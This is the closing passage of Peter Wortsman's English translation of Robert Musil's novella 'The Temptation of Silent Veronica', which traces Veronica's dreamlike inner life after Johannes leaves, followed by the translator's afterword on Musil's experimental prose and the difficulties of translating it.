So they stood side by side, and as the wind picked up over the pathway and spread itself out before them like a wondrous, soft, sentient animal, rubbing up against face, neck, and armpits, breathing and rubbing its soft satiny hair, and with every rise of the breast pressing tighter against the skin, all of her dread and expectation dissolved in a weary, heavy warmth that started silently, invisibly, slowly circling around her like a spray of blood. And she suddenly thought of something she'd once heard, that millions of tiny organisms settle on human skin, and with every puff of air numberless streams of life come and go, and the thought gave her pause, and made her feel warm and dark as if enveloped by a great purple billow of air, but then close beside this hot stream of blood she felt another bloodstream pulsing, and as she looked up he stood there before her, his hair blowing against hers in the wind, the strands already silently touching each other with their trembling tips; whereupon she was gripped by a grinding desire, as if in the wake of two intermingling swarms, and she could have torn her life out at the roots just to dust him over with it in a frenzy of hot, defensive darkness. But their bodies stood there stiff and numb, with eyes shut tight, and let these clandestine doings play themselves out, not daring to know, and only growing emptier and more tired out, whereupon they sank a little closer, so softly and serenely, gently and silent as death, as if spilling their lifeblood into each other.
And as the wind picked up she felt as if his blood were climbing up under her skirts, filling her with stars and calyxes and blue and yellow and with fine threads and voluptuous groping and with an inert desire, as when flowers stand in the wind receiving pollen. And as the setting sun shone through the hem of her skirt, she stood there, sluggish and still and shamelessly yielding, as if all the world could see. And only in an altogether absent way did she contemplate that greater yearning yet to be fulfilled, but at that moment she was overcome with a quiet sadness, as if brought on by bells ringing somewhere in the distance; and they stood side by side rearing upright, stately and solemn, like two big animals with backs bent, bowing to the evening sky.
* * *
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The sun went down; Veronica ambled back, alone and lost in thought, along the path that wound its way between field and meadow. This parting left her with an empty feeling, like a broken husk lying on the ground; it suddenly felt so piercing, as if she were a knife stuck in the life of that other person. It was all clearly linked, he went off and would kill himself; she didn't mull it over, it weighed heavy on her like a dark, heavy object lying on the ground. It seemed so irrevocable, like a cut in time before which everything came to an unshakable halt, this day of all days surged with a sudden gleam like a blade, indeed it felt as if right there before her very eyes she could actually see its physical manifestation, the relation between her soul and that other soul transformed into something final, unalterable, jutting out for eternity like the stump of a severed branch. She felt a momentary tenderness for Johannes, whom she had to thank for this, then again she felt nothing, just the swing of her step. Driven by a firm determination she embraced solitude with no other aim, ambling between field and meadow. The dark world was shrinking around her. And little by little she began to be consumed by a strange desire that swelled up in her like a light and terrible breeze that she breathed in, filling her with a quavering dread, informing her every gesture, reaching into the distance, in the grip of which her steps released themselves from the ground with a quiet gravity and rose above the forest floor.
She felt almost queasy with lightness and bliss. This excitement only dissolved when she laid her hand on the doorway of her house. It was a small, round, firmly fixed postern; when she shut the door behind her she stood there in the darkness as in a silent, subterranean body of water. Slowly she stepped forward, feeling all the while, albeit without touching them, the proximity of the cool walls closing her in; it was a curiously furtive feeling, and she knew that she was home.
Then she quietly went about her business, and the day came to an end like all other days. From time to time Johannes came to mind, then she looked at the clock and knew where he must be. At one point she took pains not to think of him for a long time, and the next time she did the train must already have rolled south through the night of mountain valleys and darkly imagined unknown landscapes filled her mind.
She went to bed and quickly fell asleep. But it was a light and fitful sleep, as of someone anticipating something out of the ordinary the next day. A lingering lightness lay beneath her eyelids; toward morning it grew even lighter and seemed to spread out far and wide; when Veronica awakened, she knew: it was the lake.
By now he must surely have seen it there in front of him, with nothing else to do than to carry out his resolve. He would row out to the middle and shoot. But Veronica didn't know when. She began to speculate and weigh the pros and cons. Would he immediately hire a boat upon disembarking from the train? Would he wait for evening, when the lake lies there perfectly still and peers at you as if with eyes wide open? She walked restlessly around all day as if thin needles kept grazing her skin. From time to time Johannes' face cropped up again somewhere or other – ringed by the golden frame that lit up the wall in the darkness of the stairway, or peering up at her from the white linen in her lap she was embroidering. Pale and with crimson lips...deformed and bloated with water...or just like a black curl hanging over a sunken brow. Now and then she felt suffused with drifting fragments of a suddenly returning tenderness. And when night fell she knew that it must have happened.
She had a distant inkling that all this fuss was for naught, this speculation, this posturing, treating something altogether uncertain like a fact of life. At times the thought flashed through her mind that Johannes might not be dead, a tenuous shred of truth that lifted and let go, tearing a hole in the soft coverlet she had spread over her reality. Then she sensed the evening silently and inconspicuously closing in around the house just like that; at some point night fell, fell and lifted again; she knew it. But suddenly it all died down. A profound calm and a sense of the inscrutable slowly fell in many folds over Veronica.
And night came, that one night in which all that had welled up under the twilit roof of her long afflicted life, that inhibition had kept locked up inside, finally found the force to lift into consciousness, bursting out like a fermented fleck of reality into strange manifestations of heretofore inconceivable experiences.
Driven by some unconscious impulse, she lit up all the lights in her room and sat still in their midst; she fetched Johannes' photograph and set it before her. But it no longer seemed to her that what she'd been waiting for had anything to do with his actions, or that it was something in her, some illusion she'd clung to; she felt rather that all of a sudden her sense of the world around her had changed, expanding into an unknown province on the threshold of dreaming and waking.
The empty space between her and the things around her dissolved, and their relation to her became strained. The furniture and appliances weighed heavy, unmovable, each in its assigned place – the table and the cupboard, the clock on the wall – altogether self-contained, apart from her and wrapped up in themselves like a balled-up fist; and yet sometimes it seemed as if they had slipped back again inside her ken, or as if they peered out at her like suspended eyes from a space that lay like a sheet of glass between Veronica and the room. And they stood there as if they had been waiting many years for this very evening, to find themselves, arching and bending upwards, forever emitting the aura of an existence beyond measure, lifting and hollowing out Veronica's sense of the moment, as if she herself suddenly stood there like a room lit up with silently flickering candles. And sometimes this tension brought on a complete exhaustion, whereupon she appeared to glow, a brilliance burning in all her limbs, and feeling it from the outside in she grew tired of herself as if fatigued by the quietly humming circle of light cast by a lamp. And her thoughts seeped throughout and emanated from that luminous languor, protruding pointedly and becoming visible like a network of the thinnest veins.
Everything grew ever quieter then, a haze fell over her consciousness, soft as snow flurries before a dimly lit window, and here and there great jagged flashes of light broke through...But after a while she once again bestirred her conscious thoughts to rise to the surface of her strangely fraught wakefulness with a sudden, crystal-clear inkling: that's how Johannes is now, suspended in a kind of reality, in an altered space.
Children and the dead have no soul; but the soul of the living is that element of self that does not let you love, much as you're so inclined, that stubborn residue that stands in the way of all love – Veronica felt that this one unshakable constant, immune to amorous lures, is the focal point of all feeling, clinging fearfully, a private precinct forever out of reach of the dearly beloved, beckoning from afar; and even if you draw near, it keeps its distance, smiling back, as if waiting for a secret rendezvous. But children and the dead, they are either nothing yet or nothing more, giving us to believe that everything lies ahead or everything lies behind; they are like the hollowed vessels that give shape to dreams. Children and the dead have no soul, no soul to speak of. And animals. Veronica found animals terrifying in the threat of their ugly onslaught, but their piercing pupils dripped with dumb droplets of forgetting.
Soul is something of the sort, a vehicle for an uncertain pursuit. Throughout her long dark life Veronica dreaded and yet longed for love, only in dreams did it sometimes turn out as she wished. Powerful and plodding as they are, actual occurrences slip away and yet seem to seep inside; they hurt, but like something you do to yourself; they mortify, but just barely: mortification flies off like a restless cloud and nobody else notices; mortification dissipates like the rapture of a dark cloud...She kept wavering between Johannes and Demeter...And dreams do not reside inside the self, nor are they fragments of reality, they carve out their own nook in a burst of complete feeling, and that's where they reside, hovering, weightless, like a liquid seeping out. That's how you give yourself to a beloved in dreams, like a liquid seeping out; with an altered sense of space; for the waking soul is a bottomless hollow, billowing up against reality in undulating bubbles of ice.
Veronica managed to remember that in the past she sometimes dreamed. Such matters never crossed her mind before, only every now and then when she woke up she was struck by the narrowness of her consciousness, as if accustomed to another stirring inside, and somewhere through a crack a lingering glimmer of light broke through...just a crack, but she sensed a wide expanse behind it. And now she realized that she must have often dreamed. And with a waking awareness she saw the body of her dream as though refracted through the memories of long ago conversations and actions, the recollection of a heretofore hidden fabric of feelings and thoughts suddenly came to light, the way the mind latches onto the gist of a certain conversation, and all of a sudden after all those years you fathom that church bells must have been ringing all the while for its entire duration...Conversations with Johannes, conversations with Demeter. And amidst the words and the clang of the bells she began to recognize the contour of the dog, the cock, a fist blow, and then Johannes spoke of God; slowly, as if soaking up the fringe of consciousness, his words grazed the whetstone of memory.
Veronica had always known somewhere in the indifferent morass of awareness that there was an animal lurking inside, everyone knows it, a creature with its foul smelling and repulsive, slimy skin; but in her it was only a restless, ill-defined darkness that sometimes slid under her waking consciousness, or a forest infinite and tender as a sleeping man, there was nothing beastlike about it, except for certain contours of its effect on her soul extending beyond the ordinary borders of self...And then Demeter said: "All I have to do is bend over..." and then at midday Johannes said: "Something sank in me, something extended..." And she sensed a very soft, pale wish take hold in her that Johannes be dead. And still caught in the nebulous muddle of waking awareness, peering at him with a maddeningly quiet intensity, letting her looks pierce like needles, deeper and deeper, sounding the flutter of his smile and a twist of his lips for a sign of torment, like a last gift of the dead, testing to see if he might not suddenly lift his head to meet her gaze in the incalculable fullness of life. Then his hair waved like brushwood and his nails grew out like great sparkling tiles, she saw dripping wet clouds in the white of his eyes and tiny reflective pools of water; he lay split open, hideously prone, the borders of his being defenseless, but his soul was still concealed within, wrapped up in a last gasp of self. And he spoke of God, which made her think: _By God he means that feeling, perhaps of a space in which he'd like to live._ It was a sick thing to think. But she also thought: That space must resemble an animal gliding by, the way watering eyes transform small and distant things into giant figures seen from the outside in; why should it only be in fairy tales that one can conjure up creatures, awaken sleeping princesses? Was it sick to think such a thing? In that one night she felt herself and these hazy figments of her imagination in a portentous burst of terror of sinking back into the slime of oblivion. Her creeping waking existence would break down again around such notions, that much she knew, and she recognized that there was something positively unsound and full of holes in her way of thinking; but if only she could hold together all of the prolonged disparate particulars like pick-up sticks in one hand, without accepting the repulsive conclusion that necessarily follows if you meld it all into a whole: her thinking that night allowed her to enjoy an illusion of high mountain health, light as a chamois in the way she let her feelings leap about.
This hint of bliss whirled through her thoughts the way you glimpse a light at the end of the tunnel when torn by tension. _You are dead,_ dreamed her love, by which she meant nothing but that peculiar feeling that held her at arm's length from the outside world, cloistered in an imagined enclave in which Johannes lived, but the light of her imaginings burnt hot on her lips. And all that happened that night was nothing but an illusion of reality flickering somewhere in her body, trickling between fragments of feeling, the fuzzy shadow of which was flung outwards. It seemed to her then as if she felt Johannes up close, as close as herself. He wafted in her whimsy, and her tenderness passed through him unimpeded the way the waves pass through those soft, purple, bell-like animalcules that float in the sea. At times her love just lay there over him, far-flung and senseless, like the lake, all tired out, sometimes proud and placid as a cat purring in the grip of sweet dreams, the way the lake lay over his lifeless body. And then time trickled by like a bubbling brook.
And when she awakened with a start she felt the first sting of sorrow. The air was cool around her, the candles had burnt out and only a last one still flickered; in the place where Johannes used to sit there was a hole that all her thoughts could not fill. And suddenly that last tremor of light went out without a sound, the way a last departing guest quietly shuts the door behind him; Veronica huddled in the darkness.
Suppliant roaming sounds passed through the house, with a wistful shrug the stairs shook off the weight of whoever strode upon them, somewhere a mouse was gnawing and a bug burrowing into wood. When a clock struck, she braced herself, filled with foreboding at the unceasing life of this thing that restlessly roamed though all the rooms as she lay awake listening, sometimes scraping against the ceiling, sometimes deep down below. Like a cold-blooded killer who mindlessly strikes out and cuts up merely because his victim won't stop twitching, she felt like grabbing and strangling that quiet clink that kept striking her ear. And all of a sudden she sensed her aunt sleeping far back in the nethermost room in the house, her leathery face all riddled with wrinkles; and the inanimate objects stood dark and heavy and drained of life; and she once again took fright at this strange presence that surrounded her.
And there was just one thing that kept her afloat, but it was hardly enough to hold onto, just a slowly sinking piece of flotsam to drown with. It had already dawned on her that it was something in herself, not Johannes, that made her so sensually attuned to the world around her. Above and beyond her imagination she harbored a stubborn resistance to the reality of the day, to any sense of shame, to her aunt's words so tightly bound to things, to Demeter's scorn, to the stranglehold of the real; an aversion to Johannes, a need that dawned on her little by little to take it all in like a sleepless night; and even that memory she'd been trying so long to retrieve, as if it had secretly wandered off while she wasn't looking, once again lay small and removed from the moment, never having altered her life in the slightest. But the way a person who passes with pale rings under the eyes, in the wake of experiences that he can reveal to no one, senses his own ridiculousness and weakness like a passing melody, quiet and thin as a thread in the warp and weft of his stalwart and reasonable fellow beings, despite her abiding sorrow, she too felt a gentle, niggling bliss that hollowed out her body until it bore itself light and delicate as a thin capsule.
She suddenly felt inclined to undress. Just for herself, just for the feeling of being close to her essence, to stand alone with herself in a dark room. It thrilled her to feel her clothes falling with a quiet rustle to the floor; it was like taking a few steps out into the darkness, as if looking for someone, then having second thoughts and rushing back to snuggle against your own body. And as Veronica slowly and with hesitant delight gathered up her clothes again, her skirt and slip had taken on folds in the dark, in which her own warmth still curled up, and bulging spaces rose around them, beckoning like hideouts in which to huddle, and when her body grazed against these husks she felt a sensual rush passing through her like a hidden flicker of light that filters through closed shutters, restlessly trickling through the house.
It was that room. Veronica's gaze instinctively sought out the spot on the wall where the mirror hung, and didn't find her image; she saw nothing. Well, maybe a dim floating glimmer in the dark, maybe this too was a delusion. The darkness filled the house like a heavy liquid, nowhere could she see herself; she started walking around, but there was nothing but darkness everywhere, nowhere the least trace of herself, and yet she felt nothing but herself, and wherever she went she was and was not, the way words on the tip of the tongue sometimes hang there unuttered in a ball of silence. In this way she once spoke with angels as she lay sick in bed, they stood there around the rim of the bed, and without moving their wings they emitted a thin, high pitched tone that pierced the shell of things. The things disintegrated like silent stones, the whole world lay there with sharp, conchoidal cracks and only she could pull herself together; afire with fever, scraped thin as a wilted rose petal, she became an invisible vessel of feeling, she felt her body from every angle at once, minuscule in its total mass, as if holding it in the palm of her hand, and she was ringed by men with quietly fluttering wings like hair rustling in a gust of wind. None of this seemed to be visible to the others present; the angelic tone emanated like a glimmering gate through which you can only exit. And Johannes spoke with her as with someone you needed to touch with kid gloves and not take seriously, and in the room next door Demeter paced back and forth, she heard his sarcastic step and his big, hard voice. And all the while she had the feeling that angels were standing around her, men with wondrously plumed hands, and while the others took her for sick, these magical beings, wherever they were, seemed to stand around her in an invisible, tautly distended circle. And back then it already seemed to her as if she had done all she had to do, but it was only the effect of a fever, and she fathomed that it must be a feverish illusion as the feeling dissolved.
But now in the voluptuous feeling that enveloped her there was some residue of that long-ago state brought on by sickness. Carefully pulling back into herself, she dodged the objects around her, and felt them from afar; quietly all hope collapsed and faded in her, plowing a path of burst illusions and emptiness and leaving a soft streak in its wake, as if all were shrouded under a quiet curtain of crushed silk. Little by little the twilight trickled in with a light gray glow. She stood at the window upstairs; come morning the people flocked to the market. Here and there a stray word struck her ear; she leaned back then, as if trying to avoid contact with anything or anyone, and slip back before dawn.
And quietly something came over Veronica, it was a longing as aimless and undirected as the sore indefinite tingle of recoiling she felt before the new day. Curious musings swept through her: to love yourself in that way, it's like being able to do anything in front of someone; and as the memory resurfaced with its hard, ugly face, that she had in effect killed Johannes, it did not frighten her, she only hurt herself looking at him, it was as if she had glimpsed her innards, her repulsive entrails wiggling like giant worms, but at the same time she saw and was horrified by her own image peering at itself, even though in this horrifying spectacle there was an undeniable glimmer of love. A tonic fatigue flowed through her veins, and she sank down, huddled in the consciousness of what she'd done as if in a cooling cloak of fur, gripped by sadness and tenderness, sitting quietly beside herself, a soft radiance, like when, enticed by something in your pain, you smile in your misery.
And the lighter it got outside, the more implausible it seemed that Johannes might be dead, it was now nothing more than a lingering impression from which she sought to break free. It was – again, with only a very distant, inconceivable connection to him – as if a last divide inserted itself between them. She felt a voluptuous softness and an inconceivable closensss. More than a physical closeness, one of the soul; it was as if she looked at herself through his eyes, and with each touch felt not only him, but also in some indescribable way felt his feeling for her, it all seemed to her like a mysterious, spiritual, intimate tie. Sometimes she thought he was her guardian angel, he came and went, after she fathomed who he was, and would henceforth always stand by her, he would watch when she undressed, and when she went out she would carry him under her skirt; his looks would be as delicate as a steady, quiet cloak of fatigue. She didn't think him up to it, didn't feel he had it in him, not this distant Johannes; rather, it was something pale gray in her, and when the thoughts faded they purled like dark figures against a wintry sky. It was like a hemline at the edge of consciousness. A fumbling burst of gentleness. Dredging from her depths...getting stronger while not being there...a nothing and yet everything...
She sat in complete silence and played with her thoughts. There is a world, some remote state, another world or just a place of sadness...its walls brushed over with fever and fantasies, to which the words of sound minds have no access and just drop down senselessly, as if covered with carpets upon which such ponderous sentiments are loathe to tred; a thin, echoing world through which she walked with him, silence following in the wake of her every gesture, and all her thoughts flowed endlessly like whispers in underground corridors.
And when it got very light and pale outside and day broke, the letter arrived, a letter of the kind that was bound to come, Veronica immediately fathomed: of the kind that was bound to come. It rapped against the house and tore through the silence the way a boulder smashes through a thin lip of snow; wind and brightness blew in through the open door. In the letter it said: I didn't kill myself, so what's it to you? I feel like someone who found his way out into the street. I'm outside and can't go back. Held fast by the bread I eat, the black-brown rowboat on the beach begging to carry me out, the less clear, lukewarm, not too hastily concluded, tumultuous life force all around. We'll talk about it later. Everything outside is so simple and incoherent and piled like a heap of garbage, but like a pole firmly planted in the ground I feel grasped and rammed and entrenched by it all...
There were other things in the letter, but she only saw this one: I found myself outside on the street. There was, inevitably, a hardly noticeable hint of something snide in this heedlessly liberating leap away from her. It was nothing, nothing at all, just like a cooling breeze at dawn when somebody bursts out in a booming voice to hail the new day. So this whole business ultimately revolved around someone who looked on with a sober shrug of disenchantment. From this moment on and for a long time thereafter no thoughts revolved around Veronica's mind, but there was a feeling; just the flicker of a prodigious silence broken by no wave, pale and lifeless as a pond lying mute in the early light.
Later when she awakened and started thinking again, it once again seemed as if she were lying under a heavy blanket that kept her from moving, and her thoughts were confused like benumbed hands under a shroud they can't shake off. She could not grasp the simple reality. It wasn't the fact that he hadn't killed himself, that he was still alive, but there was rather something inside her, a lapsing into silence, a sinking back into a morass; something went silent inside and sank back into that muttering polyphony from which she had hardly managed to raise the sound of self. All of a sudden she heard it again striking her ears from all directions. It was that narrow passageway through which she once ran and then crawled, and then came all that followed, that silent lifting and raising herself upright, and then everything came to a halt. It seemed to her, despite the silence, as if people stood around her and kept speaking in a whisper. She could not understand what they were saying to each other. It was wonderfully mysterious not to catch the drift of their conversation. Her senses were stretched thin and the voices rustled against her flimsy surface like the branches of a bush waving in the wind.
Strange faces appeared. They were all strange faces, her aunt, girlfriends, acquaintances, Demeter, Johannes – she knew who they were, but still they remained strange to her. She suddenly flinched at the sight of them, like someone who fears abuse. She took pains to think about Johannes, even though she could no longer picture what he looked like a few hours ago, his person melded with the others; it crossed her mind that he had gone away from her, far far away, like he'd dissolved in a crowd; it was as if his sly and hidden eyes were somehow compelled to peer at her out of the multitude. She stretched herself thin before that furtive gaze, wanting to close herself off from the world, but she still managed to muster a quietly dissolving clarity as to who and what she was.
And little by little she lost the sense of things ever having been any other way. She could hardly still differentiate herself from the others, and she could hardly distinguish one face from another, they appeared and promptly dissolved into one another, the whole lot of them repulsive to her like unkempt hair, and still she enmeshed herself in the mix, replied to their incomprehensible questions, retaining only that one need to do something, riddled by an unrest that wanted out, like thousands of minuscule creatures crawling under her skin, and ever and anew the same old faces appeared, the entire house was filled with that unrest.
She leaped up and took a few steps. And suddenly everything went silent. She called out and there was no reply; she called out again and hardly heard herself. She scoured the room with a searching look, everything stood still in its assigned place. And still she felt herself.
What came then was initially a brief floundering over the next few days. At times, a desperate straining to remember just what it was she perceived that once as the real thing and what she might have done to bring it about. Veronica walked restlessly through the house; it happened that she awakened at night and wandered through the house. But all she felt was the bare, whitewashed walls that reared up around her in candlelight, walls to which rags of darkness still clung; she felt it like a screaming ecstasy that stood, still and tall, against the walls. She could stand still for minutes on end and meditate, just picturing how the floor ran under her naked feet, as if wanting to fix her gaze on a certain spot on the surface of the water flowing beneath her; whereupon a dizziness took hold, an imbalance brought on by those thoughts that she could no longer fathom, and only when her toes lodged in the gaps between the floorboards, rubbing up against the fine soft deposits of dust, or the soles of her feet brushed up against the little irregularities of the floor, did she feel stunned into a sense of relief, as if she'd just received a blow to her naked body. But in time all she felt was the imminent grip of the present, and the fading memory of that night was nothing she might still anticipate reawakening, but rather just a shadow of that hidden pleasure in herself she had gained interacting with the stuff of life. She sometimes tiptoed to the front door and listened till she heard a man walking by. The sense that she was standing there practically naked, in nothing but a nightgown that hung open at the bottom while someone walked by, so close and separated from her only by a slab of wood, made her almost double over with pleasure. But the most elusive feeling was that there was something of her outside too, as a frisson of her being slipped through the tiny keyhole and the trembling of her hand must have flitted through and stroked the clothes of the passerby.
And once in the course of her absent minded meanderings through the house it suddenly struck her that she was now alone with Demeter, that mad degenerate. She cringed at the thought of it, and since then it often happened that they passed each other on the stairs. They greeted each other too, but with altogether empty words. Only once he remained standing close to her and both searched for something else to say. Veronica noticed his knees enveloped in tight riding pants, and his lips that looked like a short, wide, bloody cut in his face, and she mused on what Johannes would look like, since he was bound to come back; at that moment the point of Demeter's beard appeared to her as something enormous looming against the sallow surface of the window. And after a while they walked on, each in his own direction, without exchanging a word.
# Preserving the Imprint of the Ineffable in Musil's Prose,
(A Translator's Afterword)
NOT TO TELL A STORY PER SE, but to evoke the hollow husk of mind and mood in which a story is conceived, born, and incubated; not to deploy the impregnating battering ram of reason, but to embrace the nurturing womb of impressions – this is what the Austrian writer Robert Musil (1880-1942), best known for his unfinished magnum opus _Der Mann ohne Eigenschaften_ ( _The Man Without Qualities_ ), strove for in the two-and-a-half-year-long literary ordeal and crisis of consciousness begun in 1908 that ultimately culminated in his second book, _Vereinigungen,_ here translated as _Intimate Ties._ What started out as an attempt to quickly whip off a text to placate an eager publisher stretched into a soul-searching experiment in the course of which, as he wrote in his journal, "I almost drove myself out of my mind." Published in 1911, this loose assemblage of two novellas, both focusing on the woes of troubled female protagonists, defies in form and content any heretofore established notions of literary license.
Written in the wake of the stunning critical and popular success of his debut novel, _Die Verwirrungen des Zöglings Törleß_ ( _The Confusions of Young Törless_ ), this second book, by which Musil hoped to establish his reputation, proved a complete flop. While heralded by a few early Expressionist writers as a path-breaking work, it was savaged by critics as "chapter after chapter of abstract psychoanalyses" of two "hysterical" women presented in "thick patches of fog." Musil himself retained a lifelong fondness for what he ultimately considered a worthy, albeit failed, experiment. "It is the only one of my books I sometimes return to. I can't stand extended passages. But I'll gladly dip into one to two pages anytime," he recalled in a journal notation in 1935. Recognizing that it was far outside the accepted norms of European art, he thought of it rather as a verbal collage, a kind of medieval illuminated manuscript. Today's reader might well view it as hypertext before its time. Its primary fault, Musil allowed half-tongue-in-cheek, was
_that it had a binding, back cover, pagination. A few pages at a time should be spread out and displayed between glass plates, the selection to be changed every now and then. Then you would see what it is._
Ostensibly, at least on the narrative surface, the first novella, "Die Vollendung der Liebe," here translated as The Consummation of Love, is about the protracted emotional tug of war leading up to a married woman's infidelity, and the second, "Die Versuchung der stillen Veronika" ("The Temptation of Silent Veronica") taps a sexually repressed young woman's traumatic childhood memory of a near tangle with bestiality, her rejection of a would-be lover, and her struggle to formulate a coherent notion of deity. With a psychic Geiger counter Musil goes prospecting in the hearts and minds of his imagined female protagonists conjured up like jinns from his wife Martha Marcovaldi's early bottled-up recollections.
Read at your own risk. Those expecting a traditional narrative thread may well be frustrated by the near total absence of signposts and touchstones.
The first novella, "The Culmination of Love," offers at least a recognizable emotional build-up. A woman whose husband is too busy to join her reluctantly sets out on a winter journey, first by train, then by horse-drawn carriage, to visit her daughter from an earlier marriage at a boarding school in the country. Along the way she recalls and alternately savors and disdains the insidious lure of past infidelities in her former marriage, all the while becoming enticed as much by the flavor of memory as by any actual attraction for the pompous windbag who happens to be seated opposite her in the train. Musil captures the inherent eros of travel, when life flies by through the picture window of a speeding train, the traveler, herself lost in reverie, in a constant state of flux, basks in the passivity of looking and letting the world whisk past, responding to stimuli more by tropism than reason, and all is illusion. Later upon arrival at her destination and finding herself snowed in, she crawls naked on the floor of her hotel room, sniffing the scent of myriad feet on the rug, sensing the stranger waiting outside her door. Before succumbing to his crude advances, or rather to the remembered lure of past advances channeled through him, she previews and savors her disgust, watching him mutter inanities:
_and soon she saw nothing but the never-ending rise and fall of his beard, the bobbing beard of a repulsive billy goat ceaselessly chewing, spitting out a whispered soporific stream of words._
Tina Turner's hit tune "What's Love Got to Do with It?" leaps to mind. But the novella is more about the limitations of language.
_...her own words sounded strange swimming among strange syllables, like fish flouncing against the cold damp bodies of other fish in the indecipherable whirlpool of opinions._ [ _..._ ] _Again she felt that it did not so much matter what people say of themselves, what they manage to put into words, but rather that any real revelation was conveyed in altogether different ways – a smile, a lapse into silence, an ear turned inward to the secret murmurings of self._
This, the reader must remember, was written by a man committed heart and soul to words as his primum mobile and literature as his life's work. But in acknowledging the limitations of language, Musil sounds its bottomless depths as few writers have done before or since:
_For a moment, the great painstakingly plated emotional braid of her being became apparent, fluttering in the distance, like a pallid, practically worthless backdrop to reality. She thought to herself, you draw a line in the sand, any old unbroken line, just to have something to hold onto in the swarm of silently looming things; that is the stuff of our life; like when you keep speaking nonstop, pretending that each word is somehow ineluctably linked to the one before and automatically generates the next, because you fear the moment you allow silence to strip off the pretense of continuity the flimsy construct of self will falter in some unimaginable way and be dissolved by silence; but it is only your fear, your frailty before the terrible, gaping randomness of it all..._
The second novella, "The Temptation of Silent Veronica," offers far fewer footholds for the reader as psychic rock climber. The heroine, Veronica, lives in a big house with her ageless maiden aunt and two young men, the introvert Johannes, who once contemplated becoming a priest, and the extrovert Demeter, a man of actions not words, both of whom seek a romantic liason. Traumatized by lingering childhood memories of an encounter with an aroused Saint Bernard dog and the shocking sight of a rooster going at it with hens in the pen, Veronica remains sexually repressed and rejects both suitors. Longing for love, yet fearful of the pain of consummation, she retreats into a state of troubled reverie bordering on madness:
_Soul is something of the sort, a vehicle for an uncertain pursuit. Throughout her long dark life Veronica dreaded and yet longed for love, only in dreams did it sometimes turn out as she wished. Powerful and plodding as they are, actual occurrences slip away and yet seem to seep inside; they hurt, but like something you do to yourself; they mortify, but just barely: mortification flies off like a restless cloud and nobody else notices; mortification dissipates like the rapture of a dark cloud...She kept wavering between Johannes and Demeter...And dreams do not reside inside the self, nor are they fragments of reality, they carve out their own nook in a burst of complete feeling, and that's where they reside, hovering, weightless, like a liquid seeping out. That's how you give yourself to a beloved in dreams, like a liquid seeping out; with an altered sense of space; for the waking soul is a bottomless hollow, for the waking soul is a bottom less hollow, billowing up against reality in undulating bubbles of ice._
This is as much as we are told, or rather let to surmise from a highly refracted narrative.
But like the first novella, this one, too, serves Musil as a lush platform for a meditation on the limitations of language:
_but once uttered every word was viewed from a distance, as if from a broad perspective and accompanied by that remarkably resonant understanding that everyday doings attain crowded together on the stage of life and piled up helter-skelter on the gravel-strewn ground, suddenly looming as signposts on an otherwise invisible pathway. Like a gossamer silken mask, it draped everything in a light, silver-gray mist, and shifted about as if in anticipation of being ripped apart; straining her eyes, the dark realization flickered before her, as if shaken by "invisible blows."_
The silken mask in question is, of course, a reference to the legend of the Veil of Veronica, the apocryphal saint who, encountering Christ along the Via Dolorosa to the cross, mercifully proffers a cloth to wipe his blood, sweat and tears, retaining an imprint of his face. An alleged copy of the veil that Musil may well have seen and been inspired by hangs in the Schatzkammer of Sacred and Secular Treasures in the Hofburg Palace in Vienna.
For Musil, language is that most precious treasure, that cloth soaked in blood, sweat and tears, preserving the imprint of the ineffable.
Together these two texts comprise an attempt to paint an internal psychic landscape as much sensed as seen. Whether or not Musil succeeded, a question each reader will ultimately have to answer for him – or herself, it is a rich and daring experiment that broke new ground.
A word about the translation.
Each sentence meanders in the German according to a logic of its own, sometimes ignoring, sometimes subverting standard rules of grammar and syntax to wrap itself around a sentient mind and portray reality from the inside out. The primary challenge for the English translator obliged to follow in the author's footsteps, emulate and transpose his dance steps into a coherent routine, is how in another language to follow the fever chart of emotion, let the English words echo the ungainly awkwardness of consciousness, and in the process even to risk translating badly, as the writer risked writing badly, and so risk displeasing the reader. Not every train of thought arrives at the station, some get sidetracked along the way and stall for lack of tracks.
The effect is an oftentimes bewildering flood of language let loose, unfettered syntax, sentences freed of the need to tell, a true-to-life string of uncertainties, and as such a realistic portrayal of the messy business of living.
When Kathrin Rosenfield, a noted Austrian literary scholar living in Brazil, who, with the help of her companion, Lawrence Flores Pereira, himself a celebrated scholar and translator, both dear friends, translated the little book into Portuguese, and challenged me to tackle it in English, I hesitated at first. I had had a bit of a success with my English translation of Musil's last book, _Nachlaß zu Lebzeiten,_ in my rendering, _Posthumous Papers of a Living Author,_ now in its third edition, and ordinarily I never translate two books by the same writer. But Kathrin being Kathrin and Musil being Musil, I took up the challenge, in part as a project to propose to the Österreichische Gesellschaft für Literatur to land a fellowship in Vienna.
I got the fellowship and fumbled through the translation.
Permit me to confess that I cursed my friends Kathrin and Lawrence, Musil, and myself countless times along the way for my having been foolhardy enough to even attempt the task of channeling Musil's idiosyncratic German into semi-intelligible English, and was about to give up more than once.
Even the title proved a knotty dilemma. _Vereinigungen_ ought literally to be translated as _Unions._ But lest the unknowing prospective reader misconstrue Musil's slender volume as an exposé on trade unions or a prophetic look forward at the European Union, I had to find a title that would evoke both the texture of the prose and the thematic dialectic of intimacy and estrangement. So I settled on _Intimate Ties,_ though I might well have gone for _Intimate Distance._
I have already quoted a few examples of the many impossibly long and convoluted sentences on which I almost choked in translation. I will not here dwell on the discordant strings of similes, metaphors, and other figures of speech, and all the subsidiary clauses I had to wade through and transpose into an equivalent English so as to faithfully render the style of the telling and the soul of the story. I admit that I cried out with joy and relief when I was done, putting myself metaphorically in the sandals of Lawrence of Arabia after crossing the impassable Nefud Desert and first catching sight of the sparkling waters off the Red Sea port of Aqaba.
I hope that the reader will derive some pleasure from my pains.
Peter Wortsman
Vienna 2016 – New York 2017
# Acknowledgements
The translator wishes to express his profound gratitude to Kathrin Rosenfield for prodding him to undertake this translation, to Tess Lewis for introducing him to the Österreichische Gesellschaft für Literatur, to that organization and its executive director, Dr. Manfred Müller, for granting him the luxury of a stay in Vienna to advance in the task, to the Austrian Cultural Forum for support of this publication, and as always, to Jill Schoolman, for inspiring and publishing the impossible.
# Contets
1. Cover
2. Title Page
3. Copyright
4. Contents
5. The Culmination of Love
6. The Temptation of Silent Veronica
7. Preserving the Imprint of the Ineffable in Musil's Prose, (A Translator's Afterword)
8. Acknowledgements
# Landmarks
1. Cover
2. Cover
3. Title Page
4. Table of Contents
5. Start
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| {
"redpajama_set_name": "RedPajamaBook"
